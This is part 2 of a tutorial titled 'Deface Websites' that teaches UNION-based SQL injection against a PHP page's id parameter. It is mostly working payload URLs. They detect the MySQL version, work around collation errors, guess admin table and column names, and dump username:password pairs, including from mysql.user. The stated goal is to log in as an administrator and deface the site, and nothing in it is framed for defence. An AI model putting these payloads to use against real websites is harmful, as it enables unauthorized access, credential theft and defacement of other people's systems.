Deface Websites Part 2

Using SQL Injection and Php shell code scripting Part2

3). Check for UNION function
With union we can select more data in one sql statement.
So we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works.

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version () and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like
this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert() function i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex() i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version.

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and

column name in most cases. common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

We know that table admin exists...

Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1...

Now we must complete query to look nice

For that we can use concat() function (it joins strings)

i.e
http://www.site.com/news.php?id=5 union all select 1,concat
(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat
(username,char
(58),password),3 from
admin/*

Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

When you have this, you can login like admin or some superuser.

If can't guess the right table name, you can always try mysql.user (default)

It has user password columns, so example would be
http://www.site.com/news.php?id=5
union all select 1,concat
(user,0x3a,password),3 from mysql.user/*

Part 1
Part 2
Part 3
Part 4